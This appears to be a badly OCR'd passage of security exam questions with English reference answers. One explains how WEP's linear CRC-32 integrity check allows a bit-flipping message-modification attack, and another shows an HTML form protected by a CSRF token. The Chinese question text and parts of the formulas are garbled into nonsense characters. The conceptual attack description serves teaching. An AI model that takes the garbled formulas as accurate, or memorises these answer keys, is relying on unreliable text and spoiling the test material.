- ICREBERR b IV, RZT2M. EREIE:
- WHBERHEE M, BXAM =md A,
- HEHIC: ICT =1C @ h(A),
-WEX. =cOA=mOk)PA=m"Dk,
- EMAEBEIEE: header|IV|c'|[IC" & ko
- Reference Answer (English): WEP’ s Integrity Check (IC) field uses CRC-32, which has
issues:
- CRC-32 s linear, easily tampered: h(m & k) = h(m) & h(k).
- IC is independent of the master key k or IV, lacking security. Modification Attack
process:
Attacker records message m, modifiestom’” = m @ A.
Computesnew IC: IC”" = IC' @ h(A).
New ciphertext: ¢’ = c A =(mdk) A =m' k.
Generates valid packet: header| IV |c'|IC" @ k.

3. [ARE: & it— Bk CSRF EMEE HTML RE (B8 CSRF 25),
- BEER (hX):

<form method="POST" action="/submit">

<input
type="hidden"
name="csrf_ token"
value="unique_token_from_server"
/>
<input type="text" name="username" />
<input type="submit" value=" ‘" />

</form>
WBA: CSRF SHEHRSZSB(ER, EEERIEH Cookie H, IERBIWIELHET K4,

- Reference Answer (English):
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<form method="POST" action="/submit">
<input
type="hidden"
name="csrf_token"
value="unique_token_from_server"
/>
<input type="text" name="username" />
<input type="submit" value="Submit" />

</form>

Explanation: The CSRF token is generated by the server, stored in the session or cookie,
and validated upon submission.
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